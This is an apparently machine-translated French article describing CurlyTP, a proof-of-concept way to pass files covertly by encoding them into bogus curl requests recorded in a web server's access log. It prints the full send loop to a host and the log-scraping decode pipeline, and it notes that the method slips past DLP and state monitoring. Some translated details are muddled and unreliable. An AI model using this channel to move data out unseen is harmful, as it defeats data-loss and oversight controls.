Messagerie secrète via les journaux du serveur

Selon la définition de Wikipédia, un cache mort est un outil de complot qui sert à échanger des informations ou une sorte d'objet entre des personnes utilisant un emplacement secret. Le fait est que les gens ne se rencontrent jamais - mais en même temps échangent des informations, préservant ainsi la sécurité opérationnelle.

Le cache ne doit pas attirer l'attention. Par conséquent, dans le monde hors ligne, des choses souvent discrètes sont utilisées: de la brique en vrac dans le mur, un livre de bibliothèque ou un creux dans un arbre.

Il existe de nombreux outils sur Internet pour le chiffrement et l'anonymisation, mais le fait d'utiliser ces outils attire l'attention. De plus, ils peuvent être bloqués au niveau de l'entreprise ou de l'État. Que faire

Le développeur Ryan Flowers a suggéré une option intéressante - utilisez n'importe quel serveur Web comme cache . Si vous y réfléchissez, que fait le serveur Web? Il accepte les demandes, émet des fichiers et écrit un journal. Et il écrit dans le journal toutes les demandes, même incorrectes !

Il s'avère que n'importe quel serveur Web vous permet d'enregistrer presque tous les messages dans le journal. Les fleurs se sont demandé comment l'utiliser.

Il propose cette option:

  1. Nous prenons un fichier texte (message secret) et calculons le hachage (md5sum).
  2. Nous l'encodons (gzip + uuencode).
  3. Nous écrivons dans le journal par une demande sciemment incorrecte au serveur.

Local: [root@local ~]# md5sum g.txt a8be1b6b67615307e6af8529c2f356c4 g.txt [root@local ~]# gzip g.txt [root@local ~]# uuencode g.txt > g.txt.uue [root@local ~]# IFS=$'\n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh 

Pour lire le fichier, vous devez effectuer ces opérations dans l'ordre inverse: décoder et décompresser le fichier, vérifier le hachage (le hachage peut être transmis en toute sécurité sur des canaux ouverts).

Les espaces sont remplacés par =+= afin qu'il n'y ait pas d'espaces dans l'adresse. Le programme, que l'auteur a appelé CurlyTP, utilise le codage base64, comme dans les pièces jointes des e-mails. La demande est faite avec le mot ?transfer? clé ?transfer? afin que le destinataire puisse le trouver facilement dans les journaux.

Que voyons-nous dans les journaux dans ce cas?

 1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0" 1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0" 1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0" 

Comme déjà mentionné, pour recevoir un message secret, vous devez effectuer des opérations dans l'ordre inverse:

 Remote machine [root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue [root@server /home/domain/logs]# uudecode g.txt.gz.uue [root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz [root@server /home/domain/logs]# gunzip g.txt.gz [root@server /home/domain/logs]# md5sum g a8be1b6b67615307e6af8529c2f356c4 g 

Le processus est facile à automatiser. Md5sum correspond et le contenu du fichier confirme que tout a été correctement décodé.

La méthode est très simple. «Le but de cet exercice est seulement de prouver que les fichiers peuvent être transférés via de petites requêtes Web innocentes, et cela fonctionne sur n'importe quel serveur Web avec des journaux de texte réguliers. En fait, chaque serveur Web est un cache! », Écrit Flowers.

Bien sûr, la méthode ne fonctionne que si le destinataire a accès aux journaux du serveur. Mais un tel accès est donné, par exemple, par de nombreux hébergeurs.

Comment l'utiliser?


Ryan Flowers dit qu'il n'est pas un spécialiste de la sécurité de l'information et ne listera pas les utilisations possibles de CurlyTP. Pour lui, ce n'est qu'une preuve de concept que les outils familiers que nous voyons quotidiennement peuvent être utilisés de manière non conventionnelle.

En fait, cette méthode présente plusieurs avantages par rapport aux autres "caches" de serveur tels que Digital Dead Drop ou PirateBox : elle ne nécessite pas de configuration spéciale côté serveur ou de protocoles spéciaux - et ne provoquera pas de suspicion parmi ceux qui surveillent le trafic. Il est peu probable que SORM ou le système DLP analyse les URL des fichiers texte compressés.

C'est une façon d'envoyer des messages via des fichiers de service. Vous pouvez vous rappeler comment certaines entreprises avancées publiaient des offres d'emploi pour les développeurs dans les en-têtes HTTP ou dans le code de page HTML.



L'idée était que seuls les développeurs Web verraient un tel «œuf de Pâques», car une personne normale ne verrait pas les en-têtes ou le code HTML.





Source: https://habr.com/ru/post/fr465497/


All Articles